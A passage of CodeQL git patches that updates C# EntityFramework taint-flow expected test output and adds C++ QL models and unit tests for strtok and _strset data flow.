EntityFramework.cs:163:31:163:32 | access to local variable a1 [Street] : String | EntityFramework.cs:163:13:163:25 | [post] access to property Addresses [[], Street] : String | -| EntityFramework.cs:164:13:164:15 | access to local variable ctx [Addresses, [], Street] : String | EntityFramework.cs:214:18:214:30 | access to property Addresses [[], Street] : String | -| EntityFramework.cs:164:13:164:15 | access to local variable ctx [Addresses, [], Street] : String | EntityFramework.cs:221:18:221:28 | access to property Persons [[], Addresses, [], Street] : String | -| EntityFramework.cs:164:13:164:15 | access to local variable ctx [Persons, [], Addresses, [], Street] : String | EntityFramework.cs:214:18:214:30 | access to property Addresses [[], Street] : String | -| EntityFramework.cs:164:13:164:15 | access to local variable ctx [Persons, [], Addresses, [], Street] : String | EntityFramework.cs:221:18:221:28 | access to property Persons [[], Addresses, [], Street] : String | -| EntityFramework.cs:168:13:168:15 | access to local variable ctx [Addresses, [], Street] : String | EntityFramework.cs:214:18:214:30 | access to property Addresses [[], Street] : String | -| EntityFramework.cs:168:13:168:15 | access to local variable ctx [Addresses, [], Street] : String | EntityFramework.cs:221:18:221:28 | access to property Persons [[], Addresses, [], Street] : String | -| EntityFramework.cs:168:13:168:15 | access to local variable ctx [Persons, [], Addresses, [], Street] : String | EntityFramework.cs:214:18:214:30 | access to property Addresses [[], Street] : String | -| EntityFramework.cs:168:13:168:15 | access to local variable ctx [Persons, [], Addresses, [], Street] : String | EntityFramework.cs:221:18:221:28 | access to property Persons [[], Addresses, [], Street] : String | +| EntityFramework.cs:164:13:164:15 | access to local variable ctx [Addresses, [], Street] : String | ../../../resources/stubs/EntityFramework.cs:40:20:40:30 | this [Addresses, [], Street] : String | +| EntityFramework.cs:164:13:164:15 | access to local variable ctx [Persons, [], Addresses, [], Street] : String | ../../../resources/stubs/EntityFramework.cs:40:20:40:30 | this [Persons, [], Addresses, [], Street] : String | +| EntityFramework.cs:168:13:168:15 | access to local variable ctx [Addresses, [], Street] : String | ../../../resources/stubs/EntityFramework.cs:40:20:40:30 | this [Addresses, [], Street] : String | +| EntityFramework.cs:168:13:168:15 | access to local variable ctx [Persons, [], Addresses, [], Street] : String | ../../../resources/stubs/EntityFramework.cs:40:20:40:30 | this [Persons, [], Addresses, [], Street] : String | | EntityFramework.cs:175:13:178:13 | { ..., ... } [Name] : String | EntityFramework.cs:184:71:184:72 | access to local variable p1 [Name] : String | | EntityFramework.cs:177:24:177:32 | "tainted" : String | EntityFramework.cs:175:13:178:13 | { ..., ... } [Name] : String | | EntityFramework.cs:180:13:183:13 | { ..., ... } [Street] : String | EntityFramework.cs:184:85:184:86 | access to local variable a1 [Street] : String | @@ -63,17 +75,15 @@ edges | EntityFramework.cs:185:13:185:31 | [post] access to property PersonAddresses [[], Person, Name] : String | EntityFramework.cs:185:13:185:15 | [post] access to local variable ctx [PersonAddresses, [], Person, Name] : String | | EntityFramework.cs:185:37:185:53 | access to local variable personAddressMap1 [Address, Street] : String | EntityFramework.cs:185:13:185:31 | [post] access to property PersonAddresses [[], Address, Street] : String | | EntityFramework.cs:185:37:185:53 | access to local variable personAddressMap1 [Person, Name] : String | EntityFramework.cs:185:13:185:31 | [post] access to property PersonAddresses [[], Person, Name] : String | -| EntityFramework.cs:186:13:186:15 | access to local variable ctx [PersonAddresses, [], Address, Street] : String | EntityFramework.cs:214:18:214:30 | access to property Addresses [[], Street] : String | -| EntityFramework.cs:186:13:186:15 | access to local variable ctx [PersonAddresses, [], Address, Street] : String | EntityFramework.cs:221:18:221:28 | access to property Persons [[], Addresses, [], Street] : String | -| EntityFramework.cs:186:13:186:15 | access to local variable ctx [PersonAddresses, [], Person, Name] : String | EntityFramework.cs:206:18:206:28 | access to property Persons [[], Name] : String | -| EntityFramework.cs:192:13:192:15 | access to local variable ctx [PersonAddresses, [], Address, Street] : String | EntityFramework.cs:214:18:214:30 | access to property Addresses [[], Street] : String | -| EntityFramework.cs:192:13:192:15 | access to local variable ctx [PersonAddresses, [], Address, Street] : String | EntityFramework.cs:221:18:221:28 | access to property Persons [[], Addresses, [], Street] : String | -| EntityFramework.cs:192:13:192:15 | access to local variable ctx [PersonAddresses, [], Person, Name] : String | EntityFramework.cs:206:18:206:28 | access to property Persons [[], Name] : String | +| EntityFramework.cs:186:13:186:15 | access to local variable ctx [PersonAddresses, [], Address, Street] : String | ../../../resources/stubs/EntityFramework.cs:40:20:40:30 | this [PersonAddresses, [], Address, Street] : String | +| EntityFramework.cs:186:13:186:15 | access to local variable ctx [PersonAddresses, [], Person, Name] : String | ../../../resources/stubs/EntityFramework.cs:40:20:40:30 | this [PersonAddresses, [], Person, Name] : String | +| EntityFramework.cs:192:13:192:15 | access to local variable ctx [PersonAddresses, [], Address, Street] : String | ../../../resources/stubs/EntityFramework.cs:40:20:40:30 | this [PersonAddresses, [], Address, Street] : String | +| EntityFramework.cs:192:13:192:15 | access to local variable ctx [PersonAddresses, [], Person, Name] : String | ../../../resources/stubs/EntityFramework.cs:40:20:40:30 | this [PersonAddresses, [], Person, Name] : String | | EntityFramework.cs:195:35:195:35 | p [Name] : String | EntityFramework.cs:198:29:198:29 | access to parameter p [Name] : String | | EntityFramework.cs:198:13:198:15 | [post] access to local variable ctx [Persons, [], Name] : String | EntityFramework.cs:199:13:199:15 | access to local variable ctx [Persons, [], Name] : String | | EntityFramework.cs:198:13:198:23 | [post] access to property Persons [[], Name] : String | EntityFramework.cs:198:13:198:15 | [post] access to local variable ctx [Persons, [], Name] : String | | EntityFramework.cs:198:29:198:29 | access to parameter p [Name] : String | EntityFramework.cs:198:13:198:23 | [post] access to property Persons [[], Name] : String | -| EntityFramework.cs:199:13:199:15 | access to local variable ctx [Persons, [], Name] : String | EntityFramework.cs:206:18:206:28 | access to property Persons [[], Name] : String | +| EntityFramework.cs:199:13:199:15 | access to local variable ctx [Persons, [], Name] : String | ../../../resources/stubs/EntityFramework.cs:40:20:40:30 | this [Persons, [], Name] : String | | EntityFramework.cs:206:18:206:28 | access to property Persons [[], Name] : String | EntityFramework.cs:206:18:206:36 | call to method First [Name] : String | | EntityFramework.cs:206:18:206:36 | call to method First [Name] : String | EntityFramework.cs:206:18:206:41 | access to property Name | | EntityFramework.cs:214:18:214:30 | access to property Addresses [[], Street] : String | EntityFramework.cs:214:18:214:38 | call to method First [Street] : String | @@ -94,13 +104,13 @@ edges | EntityFrameworkCore.cs:92:13:92:15 | [post] access to local variable ctx [Persons, [], Name] : String | EntityFrameworkCore.cs:94:13:94:15 | access to local variable ctx [Persons, [], Name] : String | | EntityFrameworkCore.cs:92:13:92:23 | [post] access to property Persons [[], Name] : String | EntityFrameworkCore.cs:92:13:92:15 | [post] access to local variable ctx [Persons, [], Name] : String | | EntityFrameworkCore.cs:92:29:92:30 | access to local variable p1 [Name] : String | EntityFrameworkCore.cs:92:13:92:23 | [post] access to property Persons [[], Name] : String | -| EntityFrameworkCore.cs:94:13:94:15 | access to local variable ctx [Persons, [], Name] : String | EntityFrameworkCore.cs:230:18:230:28 | access to property Persons [[], Name] : String | +| EntityFrameworkCore.cs:94:13:94:15 | access to local variable ctx [Persons, [], Name] : String | ../../../resources/stubs/EntityFramework.cs:80:20:80:30 | this [Persons, [], Name] : String | | EntityFrameworkCore.cs:107:13:110:13 | { ..., ... } [Name] : String | EntityFrameworkCore.cs:114:29:114:30 | access to local variable p1 [Name] : String | | EntityFrameworkCore.cs:109:24:109:32 | "tainted" : String | EntityFrameworkCore.cs:107:13:110:13 | { ..., ... } [Name] : String | | EntityFrameworkCore.cs:114:13:114:15 | [post] access to local variable ctx [Persons, [], Name] : String | EntityFrameworkCore.cs:116:19:116:21 | access to local variable ctx [Persons, [], Name] : String | | EntityFrameworkCore.cs:114:13:114:23 | [post] access to property Persons [[], Name] : String | EntityFrameworkCore.cs:114:13:114:15 | [post] access to local variable ctx [Persons, [], Name] : String | | EntityFrameworkCore.cs:114:29:114:30 | access to local variable p1 [Name] : String | EntityFrameworkCore.cs:114:13:114:23 | [post] access to property Persons [[], Name] : String | -| EntityFrameworkCore.cs:116:19:116:21 | access to local variable ctx [Persons, [], Name] : String | EntityFrameworkCore.cs:230:18:230:28 | access to property Persons [[], Name] : String | +| EntityFrameworkCore.cs:116:19:116:21 | access to local variable ctx [Persons, [], Name] : String | ../../../resources/stubs/EntityFramework.cs:81:49:81:64 | this [Persons, [], Name] : String | | EntityFrameworkCore.cs:129:13:132:13 | { ..., ... } [Name] : String | EntityFrameworkCore.cs:135:27:135:28 | access to local variable p1 [Name] : String | | EntityFrameworkCore.cs:131:24:131:32 | "tainted" : String | EntityFrameworkCore.cs:129:13:132:13 | { ..., ... } [Name] : String | | EntityFrameworkCore.cs:135:27:135:28 | access to local variable p1 [Name] : String | EntityFrameworkCore.cs:219:35:219:35 | p [Name] : String | @@ -119,24 +129,18 @@ edges | EntityFrameworkCore.cs:175:13:175:15 | [post] access to local variable ctx [Persons, [], Addresses, [], Street] : String | EntityFrameworkCore.cs:192:13:192:15 | access to local variable ctx [Persons, [], Addresses, [], Street] : String | | EntityFrameworkCore.cs:175:13:175:23 | [post] access to property Persons [[], Addresses, [], Street] : String | EntityFrameworkCore.cs:175:13:175:15 | [post] access to local variable ctx [Persons, [], Addresses, [], Street] : String | | EntityFrameworkCore.cs:175:29:175:30 | access to local variable p1 [Addresses, [], Street] : String | EntityFrameworkCore.cs:175:13:175:23 | [post] access to property Persons [[], Addresses, [], Street] : String | -| EntityFrameworkCore.cs:176:13:176:15 | access to local variable ctx [Persons, [], Addresses, [], Street] : String | EntityFrameworkCore.cs:238:18:238:30 | access to property Addresses [[], Street] : String | -| EntityFrameworkCore.cs:176:13:176:15 | access to local variable ctx [Persons, [], Addresses, [], Street] : String | EntityFrameworkCore.cs:245:18:245:28 | access to property Persons [[], Addresses, [], Street] : String | -| EntityFrameworkCore.cs:180:13:180:15 | access to local variable ctx [Persons, [], Addresses, [], Street] : String | EntityFrameworkCore.cs:238:18:238:30 | access to property Addresses [[], Street] : String | -| EntityFrameworkCore.cs:180:13:180:15 | access to local variable ctx [Persons, [], Addresses, [], Street] : String | EntityFrameworkCore.cs:245:18:245:28 | access to property Persons [[], Addresses, [], Street] : String | +| EntityFrameworkCore.cs:176:13:176:15 | access to local variable ctx [Persons, [], Addresses, [], Street] : String | ../../../resources/stubs/EntityFramework.cs:80:20:80:30 | this [Persons, [], Addresses, [], Street] : String | +| EntityFrameworkCore.cs:180:13:180:15 | access to local variable ctx [Persons, [], Addresses, [], Street] : String | ../../../resources/stubs/EntityFramework.cs:80:20:80:30 | this [Persons, [], Addresses, [], Street] : String | | EntityFrameworkCore.cs:183:13:186:13 | { ..., ... } [Street] : String | EntityFrameworkCore.cs:187:31:187:32 | access to local variable a1 [Street] : String | | EntityFrameworkCore.cs:185:26:185:34 | "tainted" : String | EntityFrameworkCore.cs:183:13:186:13 | { ..., ... } [Street] : String | | EntityFrameworkCore.cs:187:13:187:15 | [post] access to local variable ctx [Addresses, [], Street] : String | EntityFrameworkCore.cs:188:13:188:15 | access to local variable ctx [Addresses, [], Street] : String | | EntityFrameworkCore.cs:187:13:187:15 | [post] access to local variable ctx [Addresses, [], Street] : String | EntityFrameworkCore.cs:192:13:192:15 | access to local variable ctx [Addresses, [], Street] : String | | EntityFrameworkCore.cs:187:13:187:25 | [post] access to property Addresses [[], Street] : String | EntityFrameworkCore.cs:187:13:187:15 | [post] access to local variable ctx [Addresses, [], Street] : String | | EntityFrameworkCore.cs:187:31:187:32 | access to local variable a1 [Street] : String | EntityFrameworkCore.cs:187:13:187:25 | [post] access to property Addresses [[], Street] : String | -| EntityFrameworkCore.cs:188:13:188:15 | access to local variable ctx [Addresses, [], Street] : String | EntityFrameworkCore.cs:238:18:238:30 | access to property Addresses [[], Street] : String | -| EntityFrameworkCore.cs:188:13:188:15 | access to local variable ctx [Addresses, [], Street] : String | EntityFrameworkCore.cs:245:18:245:28 | access to property Persons [[], Addresses, [], Street] : String | -| EntityFrameworkCore.cs:188:13:188:15 | access to local variable ctx [Persons, [], Addresses, [], Street] : String | EntityFrameworkCore.cs:238:18:238:30 | access to property Addresses [[], Street] : String | -| EntityFrameworkCore.cs:188:13:188:15 | access to local variable ctx [Persons, [], Addresses, [], Street] : String | EntityFrameworkCore.cs:245:18:245:28 | access to property Persons [[], Addresses, [], Street] : String | -| EntityFrameworkCore.cs:192:13:192:15 | access to local variable ctx [Addresses, [], Street] : String | EntityFrameworkCore.cs:238:18:238:30 | access to property Addresses [[], Street] : String | -| EntityFrameworkCore.cs:192:13:192:15 | access to local variable ctx [Addresses, [], Street] : String | EntityFrameworkCore.cs:245:18:245:28 | access to property Persons [[], Addresses, [], Street] : String | -| EntityFrameworkCore.cs:192:13:192:15 | access to local variable ctx [Persons, [], Addresses, [], Street] : String | EntityFrameworkCore.cs:238:18:238:30 | access to property Addresses [[], Street] : String | -| EntityFrameworkCore.cs:192:13:192:15 | access to local variable ctx [Persons, [], Addresses, [], Street] : String | EntityFrameworkCore.cs:245:18:245:28 | access to property Persons [[], Addresses, [], Street] : String | +| EntityFrameworkCore.cs:188:13:188:15 | access to local variable ctx [Addresses, [], Street] : String | ../../../resources/stubs/EntityFramework.cs:80:20:80:30 | this [Addresses, [], Street] : String | +| EntityFrameworkCore.cs:188:13:188:15 | access to local variable ctx [Persons, [], Addresses, [], Street] : String | ../../../resources/stubs/EntityFramework.cs:80:20:80:30 | this [Persons, [], Addresses, [], Street] : String | +| EntityFrameworkCore.cs:192:13:192:15 | access to local variable ctx [Addresses, [], Street] : String | ../../../resources/stubs/EntityFramework.cs:80:20:80:30 | this [Addresses, [], Street] : String | +| EntityFrameworkCore.cs:192:13:192:15 | access to local variable ctx [Persons, [], Addresses, [], Street] : String | ../../../resources/stubs/EntityFramework.cs:80:20:80:30 | this [Persons, [], Addresses, [], Street] : String | | EntityFrameworkCore.cs:199:13:202:13 | { ..., ... } [Name] : String | EntityFrameworkCore.cs:208:71:208:72 | access to local variable p1 [Name] : String | | EntityFrameworkCore.cs:201:24:201:32 | "tainted" : String | EntityFrameworkCore.cs:199:13:202:13 | { ..., ... } [Name] : String | | EntityFrameworkCore.cs:204:13:207:13 | { ..., ... } [Street] : String | EntityFrameworkCore.cs:208:85:208:86 | access to local variable a1 [Street] : String | @@ -153,17 +157,15 @@ edges | EntityFrameworkCore.cs:209:13:209:31 | [post] access to property PersonAddresses [[], Person, Name] : String | EntityFrameworkCore.cs:209:13:209:15 | [post] access to local variable ctx [PersonAddresses, [], Person, Name] : String | | EntityFrameworkCore.cs:209:37:209:53 | access to local variable personAddressMap1 [Address, Street] : String | EntityFrameworkCore.cs:209:13:209:31 | [post] access to property PersonAddresses [[], Address, Street] : String | | EntityFrameworkCore.cs:209:37:209:53 | access to local variable personAddressMap1 [Person, Name] : String | EntityFrameworkCore.cs:209:13:209:31 | [post] access to property PersonAddresses [[], Person, Name] : String | -| EntityFrameworkCore.cs:210:13:210:15 | access to local variable ctx [PersonAddresses, [], Address, Street] : String | EntityFrameworkCore.cs:238:18:238:30 | access to property Addresses [[], Street] : String | -| EntityFrameworkCore.cs:210:13:210:15 | access to local variable ctx [PersonAddresses, [], Address, Street] : String | EntityFrameworkCore.cs:245:18:245:28 | access to property Persons [[], Addresses, [], Street] : String | -| EntityFrameworkCore.cs:210:13:210:15 | access to local variable ctx [PersonAddresses, [], Person, Name] : String | EntityFrameworkCore.cs:230:18:230:28 | access to property Persons [[], Name] : String | -| EntityFrameworkCore.cs:216:13:216:15 | access to local variable ctx [PersonAddresses, [], Address, Street] : String | EntityFrameworkCore.cs:238:18:238:30 | access to property Addresses [[], Street] : String | -| EntityFrameworkCore.cs:216:13:216:15 | access to local variable ctx [PersonAddresses, [], Address, Street] : String | EntityFrameworkCore.cs:245:18:245:28 | access to property Persons [[], Addresses, [], Street] : String | -| EntityFrameworkCore.cs:216:13:216:15 | access to local variable ctx [PersonAddresses, [], Person, Name] : String | EntityFrameworkCore.cs:230:18:230:28 | access to property Persons [[], Name] : String | +| EntityFrameworkCore.cs:210:13:210:15 | access to local variable ctx [PersonAddresses, [], Address, Street] : String | ../../../resources/stubs/EntityFramework.cs:80:20:80:30 | this [PersonAddresses, [], Address, Street] : String | +| EntityFrameworkCore.cs:210:13:210:15 | access to local variable ctx [PersonAddresses, [], Person, Name] : String | ../../../resources/stubs/EntityFramework.cs:80:20:80:30 | this [PersonAddresses, [], Person, Name] : String | +| EntityFrameworkCore.cs:216:13:216:15 | access to local variable ctx [PersonAddresses, [], Address, Street] : String | ../../../resources/stubs/EntityFramework.cs:80:20:80:30 | this [PersonAddresses, [], Address, Street] : String | +| EntityFrameworkCore.cs:216:13:216:15 | access to local variable ctx [PersonAddresses, [], Person, Name] : String | ../../../resources/stubs/EntityFramework.cs:80:20:80:30 | this [PersonAddresses, [], Person, Name] : String | | EntityFrameworkCore.cs:219:35:219:35 | p [Name] : String | EntityFrameworkCore.cs:222:29:222:29 | access to parameter p [Name] : String | | EntityFrameworkCore.cs:222:13:222:15 | [post] access to local variable ctx [Persons, [], Name] : String | EntityFrameworkCore.cs:223:13:223:15 | access to local variable ctx [Persons, [], Name] : String | | EntityFrameworkCore.cs:222:13:222:23 | [post] access to property Persons [[], Name] : String | EntityFrameworkCore.cs:222:13:222:15 | [post] access to local variable ctx [Persons, [], Name] : String | | EntityFrameworkCore.cs:222:29:222:29 | access to parameter p [Name] : String | EntityFrameworkCore.cs:222:13:222:23 | [post] access to property Persons [[], Name] : String | -| EntityFrameworkCore.cs:223:13:223:15 | access to local variable ctx [Persons, [], Name] : String | EntityFrameworkCore.cs:230:18:230:28 | access to property Persons [[], Name] : String | +| EntityFrameworkCore.cs:223:13:223:15 | access to local variable ctx [Persons, [], Name] : String | ../../../resources/stubs/EntityFramework.cs:80:20:80:30 | this [Persons, [], Name] : String | | EntityFrameworkCore.cs:230:18:230:28 | access to property Persons [[], Name] : String | EntityFrameworkCore.cs:230:18:230:36 | call to method First [Name] : String | | EntityFrameworkCore.cs:230:18:230:36 | call to method First [Name] : String | EntityFrameworkCore.cs:230:18:230:41 | access to property Name | | EntityFrameworkCore.cs:238:18:238:30 | access to property Addresses [[], Street] : String | EntityFrameworkCore.cs:238:18:238:38 | call to method First [Street] : String | @@ -173,6 +175,18 @@ edges | EntityFrameworkCore.cs:245:18:245:46 | access to property Addresses [[], Street] : String | EntityFrameworkCore.cs:245:18:245:54 | call to method First [Street] : String | | EntityFrameworkCore.cs:245:18:245:54 | call to method First [Street] : String | EntityFrameworkCore.cs:245:18:245:61 | access to property Street | nodes +| ../../../resources/stubs/EntityFramework.cs:40:20:40:30 | this [Addresses, [], Street] : String | semmle.label | this [Addresses, [], Street] : String | +| ../../../resources/stubs/EntityFramework.cs:40:20:40:30 | this [PersonAddresses, [], Address, Street] : String | semmle.label | this [PersonAddresses, [], Address, Street] : String | +| ../../../resources/stubs/EntityFramework.cs:40:20:40:30 | this [PersonAddresses, [], Person, Name] : String | semmle.label | this [PersonAddresses, [], Person, Name] : String | +| ../../../resources/stubs/EntityFramework.cs:40:20:40:30 | this [Persons, [], Addresses, [], Street] : String | semmle.label | this [Persons, [], Addresses, [], Street] : String | +| ../../../resources/stubs/EntityFramework.cs:40:20:40:30 | this [Persons, [], Name] : String | semmle.label | this [Persons, [], Name] : String | +| ../../../resources/stubs/EntityFramework.cs:41:49:41:64 | this [Persons, [], Name] : String | semmle.label | this [Persons, [], Name] : String | +| ../../../resources/stubs/EntityFramework.cs:80:20:80:30 | this [Addresses, [], Street] : String | semmle.label | this [Addresses, [], Street] : String | +| ../../../resources/stubs/EntityFramework.cs:80:20:80:30 | this [PersonAddresses, [], Address, Street] : String | semmle.label | this [PersonAddresses, [], Address, Street] : String | +| ../../../resources/stubs/EntityFramework.cs:80:20:80:30 | this [PersonAddresses, [], Person, Name] : String | semmle.label | this [PersonAddresses, [], Person, Name] : String | +| ../../../resources/stubs/EntityFramework.cs:80:20:80:30 | this [Persons, [], Addresses, [], Street] : String | semmle.label | this [Persons, [], Addresses, [], Street] : String | +| ../../../resources/stubs/EntityFramework.cs:80:20:80:30 | this [Persons, [], Name] : String | semmle.label | this [Persons, [], Name] : String | +| ../../../resources/stubs/EntityFramework.cs:81:49:81:64 | this [Persons, [], Name] : String | semmle.label | this [Persons, [], Name] : String | | EntityFramework.cs:61:13:64:13 | { ..., ... } [Name] : String | semmle.label | { ..., ... } [Name] : String | | EntityFramework.cs:63:24:63:32 | "tainted" : String | semmle.label | "tainted" : String | | EntityFramework.cs:68:13:68:15 | [post] access to local variable ctx [Persons, [], Name] : String | semmle.label | [post] access to local variable ctx [Persons, [], Name] : String | From 62556621149bf346a93fc2fb96c8ed254f8361a5 Mon Sep 17 00:00:00 2001 From: Mathias Vorreiter Pedersen <mathiasvp@github.com> Date: Thu, 28 Jan 2021 10:57:30 +0100 Subject: [PATCH 0896/1241] C++: Add two new model implementation classes. --- cpp/ql/src/semmle/code/cpp/models/Models.qll | 2 + .../cpp/models/implementations/Strset.qll | 52 +++++++++++++++++++ .../cpp/models/implementations/Strtok.qll | 49 +++++++++++++++++ 3 files changed, 103 insertions(+) create mode 100644 cpp/ql/src/semmle/code/cpp/models/implementations/Strset.qll create mode 100644 cpp/ql/src/semmle/code/cpp/models/implementations/Strtok.qll diff --git a/cpp/ql/src/semmle/code/cpp/models/Models.qll b/cpp/ql/src/semmle/code/cpp/models/Models.qll index f2612d69b84..7095d438556 100644 --- a/cpp/ql/src/semmle/code/cpp/models/Models.qll +++ b/cpp/ql/src/semmle/code/cpp/models/Models.qll @@ -15,6 +15,8 @@ private import implementations.Strcat private import implementations.Strcpy private import implementations.Strdup private import implementations.Strftime +private import implementations.Strtok +private import implementations.Strset private import implementations.StdContainer private import implementations.StdPair private import implementations.StdMap diff --git a/cpp/ql/src/semmle/code/cpp/models/implementations/Strset.qll b/cpp/ql/src/semmle/code/cpp/models/implementations/Strset.qll new file mode 100644 index 00000000000..0be1ace14d7 --- /dev/null +++ b/cpp/ql/src/semmle/code/cpp/models/implementations/Strset.qll @@ -0,0 +1,52 @@ +/** + * Provides implementation classes modeling `strset` and various similar + * functions. See `semmle.code.cpp.models.Models` for usage information. + */ + +import semmle.code.cpp.Function +import semmle.code.cpp.models.interfaces.ArrayFunction +import semmle.code.cpp.models.interfaces.DataFlow +import semmle.code.cpp.models.interfaces.Alias +import semmle.code.cpp.models.interfaces.SideEffect + +/** + * The standard function `strset` and its assorted variants + */ +private class StrsetFunction extends ArrayFunction, DataFlowFunction, AliasFunction, + SideEffectFunction { + StrsetFunction() { + hasGlobalName([ + "strset", "_strset", "_strset_l", "_wcsset", "_wcsset_l", "_mbsset", "_mbsset_l", + "_mbsnbset", "_mbsnbset_l", "_strnset", "_strnset_l", "_wcsnset", "_wcsnset_l", "_mbsnset", + "_mbsnset_l" + ]) + } + + override predicate hasDataFlow(FunctionInput input, FunctionOutput output) { + // flow from the character that overrides the string + input.isParameter(1) and + ( + output.isReturnValueDeref() + or + output.isParameterDeref(1) + ) + or + // flow from the input string to the output string + input.isParameter(0) and + output.isReturnValue() + } + + override predicate parameterNeverEscapes(int index) { none() } + + override predicate parameterEscapesOnlyViaReturn(int index) { index = 0 } + + override predicate parameterIsAlwaysReturned(int index) { index = 0 } + + override predicate hasOnlySpecificReadSideEffects() { any() } + + override predicate hasOnlySpecificWriteSideEffects() { any() } + + override predicate hasSpecificWriteSideEffect(ParameterIndex i, boolean buffer, boolean mustWrite) { + i = 0 and buffer = true and mustWrite = true + } +} diff --git a/cpp/ql/src/semmle/code/cpp/models/implementations/Strtok.qll b/cpp/ql/src/semmle/code/cpp/models/implementations/Strtok.qll new file mode 100644 index 00000000000..6ba9ce904b1 --- /dev/null +++ b/cpp/ql/src/semmle/code/cpp/models/implementations/Strtok.qll @@ -0,0 +1,49 @@ +/** + * Provides implementation classes modeling `strtok` and various similar + * functions. See `semmle.code.cpp.models.Models` for usage information. + */ + +import semmle.code.cpp.Function +import semmle.code.cpp.models.interfaces.ArrayFunction +import semmle.code.cpp.models.interfaces.ArrayFunction +import semmle.code.cpp.models.interfaces.Alias +import semmle.code.cpp.models.interfaces.SideEffect +import semmle.code.cpp.models.interfaces.Taint + +/** + * The standard function `strtok` and its assorted variants + */ +private class Strtok extends ArrayFunction, AliasFunction, TaintFunction, SideEffectFunction { + Strtok() { + this.hasGlobalOrStdName("strtok") or + this.hasGlobalName(["strtok_r", "_strtok_l", "wcstok", "_wcstok_l", "_mbstok", "_mbstok_l"]) + } + + override predicate hasArrayWithNullTerminator(int bufParam) { bufParam = [0, 1] } + + override predicate hasArrayInput(int bufParam) { bufParam = [0, 1] } + + override predicate hasArrayOutput(int bufParam) { bufParam = 0 } + + override predicate parameterNeverEscapes(int index) { index = 1 } + + override predicate parameterEscapesOnlyViaReturn(int index) { index = 0 } + + override predicate parameterIsAlwaysReturned(int index) { none() } + + override predicate hasTaintFlow(FunctionInput input, FunctionOutput output) { + input.isParameter(0) and output.isReturnValue() + } + + override predicate hasOnlySpecificReadSideEffects() { any() } + + override predicate hasOnlySpecificWriteSideEffects() { any() } + + override predicate hasSpecificWriteSideEffect(ParameterIndex i, boolean buffer, boolean mustWrite) { + i = 0 and buffer = true and mustWrite = false + } + + override predicate hasSpecificReadSideEffect(ParameterIndex i, boolean buffer) { + i = [0, 1] and buffer = true + } +} From 7affbfc6cb5401349f332f1b907544224db57dcb Mon Sep 17 00:00:00 2001 From: Mathias Vorreiter Pedersen <mathiasvp@github.com> Date: Thu, 28 Jan 2021 10:57:39 +0100 Subject: [PATCH 0897/1241] C++: Add tests. --- .../dataflow/taint-tests/localTaint.expected | 20 ++++++++++++++ .../dataflow/taint-tests/taint.cpp | 26 +++++++++++++++++++ 2 files changed, 46 insertions(+) diff --git a/cpp/ql/test/library-tests/dataflow/taint-tests/localTaint.expected b/cpp/ql/test/library-tests/dataflow/taint-tests/localTaint.expected index 7b8d59fe3e7..d2c6592731c 100644 --- a/cpp/ql/test/library-tests/dataflow/taint-tests/localTaint.expected +++ b/cpp/ql/test/library-tests/dataflow/taint-tests/localTaint.expected @@ -5861,6 +5861,26 @@ | taint.cpp:483:18:483:19 | ref arg & ... | taint.cpp:483:19:483:19 | n [inner post update] | | | taint.cpp:483:19:483:19 | n | taint.cpp:483:18:483:19 | & ... | | | taint.cpp:483:28:483:34 | source1 | taint.cpp:483:11:483:15 | ref arg & ... | TAINT | +| taint.cpp:492:24:492:29 | source | taint.cpp:494:27:494:32 | source | | +| taint.cpp:493:22:493:29 | ,.-;:_ | taint.cpp:494:35:494:39 | delim | | +| taint.cpp:493:22:493:29 | ,.-;:_ | taint.cpp:496:7:496:11 | delim | | +| taint.cpp:494:20:494:25 | call to strtok | taint.cpp:495:7:495:15 | tokenized | | +| taint.cpp:494:27:494:32 | source | taint.cpp:494:20:494:25 | call to strtok | TAINT | +| taint.cpp:503:26:503:28 | ptr | taint.cpp:504:10:504:12 | ptr | | +| taint.cpp:503:26:503:28 | ptr | taint.cpp:505:7:505:9 | ptr | | +| taint.cpp:503:26:503:28 | ptr | taint.cpp:506:8:506:10 | ptr | | +| taint.cpp:503:36:503:41 | source | taint.cpp:504:15:504:20 | source | | +| taint.cpp:504:10:504:12 | ptr | taint.cpp:504:2:504:8 | call to _strset | | +| taint.cpp:504:10:504:12 | ref arg ptr | taint.cpp:505:7:505:9 | ptr | | +| taint.cpp:504:10:504:12 | ref arg ptr | taint.cpp:506:8:506:10 | ptr | | +| taint.cpp:504:15:504:20 | source | taint.cpp:504:2:504:8 | call to _strset | TAINT | +| taint.cpp:505:7:505:9 | ref arg ptr | taint.cpp:506:8:506:10 | ptr | | +| taint.cpp:506:8:506:10 | ptr | taint.cpp:506:7:506:10 | * ... | TAINT | +| taint.cpp:509:26:509:31 | source | taint.cpp:510:10:510:15 | source | | +| taint.cpp:509:26:509:31 | source | taint.cpp:511:7:511:12 | source | | +| taint.cpp:510:10:510:15 | ref arg source | taint.cpp:511:7:511:12 | source | | +| taint.cpp:510:10:510:15 | source | taint.cpp:510:2:510:8 | call to _strset | | +| taint.cpp:510:18:510:18 | 0 | taint.cpp:510:2:510:8 | call to _strset | TAINT | | vector.cpp:16:43:16:49 | source1 | vector.cpp:17:26:17:32 | source1 | | | vector.cpp:16:43:16:49 | source1 | vector.cpp:31:38:31:44 | source1 | | | vector.cpp:17:21:17:33 | call to vector | vector.cpp:19:14:19:14 | v | | diff --git a/cpp/ql/test/library-tests/dataflow/taint-tests/taint.cpp b/cpp/ql/test/library-tests/dataflow/taint-tests/taint.cpp index 5ccedc7fc1c..6350bf59cc7 100644 --- a/cpp/ql/test/library-tests/dataflow/taint-tests/taint.cpp +++ b/cpp/ql/test/library-tests/dataflow/taint-tests/taint.cpp @@ -484,3 +484,29 @@ void test_getdelim(FILE* source1) { sink(line); // $ ir,ast } + +// --- strtok --- + +char *strtok(char *str, const char *delim); + +void test_strtok(char *source) { + const char* delim = ",.-;:_"; + char* tokenized = strtok(source, delim); + sink(tokenized); // $ ast,ir + sink(delim); +} + +// --- strset --- + +char *_strset(char *str, int c); + +void test_strset_1(char* ptr, char source) { + _strset(ptr, source); + sink(ptr); + sink(*ptr); // $ MISSING: ast,ir +} + +void test_strset_2(char* source) { + _strset(source, 0); + sink(source); // $ ast,ir +} \ No newline at end of file From 2b4296feb1acd4662d48cf3fdc9558e121ed47a2 Mon Sep 17 00:00:00 2001 From: ihsinme <61293369+ihsinme@users.noreply.github.com> Date: Thu, 28 Jan 2021 13:38:26 +0300 Subject: [PATCH 0898/1241] Update MemoryLeakOnFailedCallToRealloc.ql --- .../CWE/CWE-401/MemoryLeakOnFailedCallToRealloc.ql | 11 +++++------ 1 file changed, 5 insertions(+), 6 deletions(-) diff --git 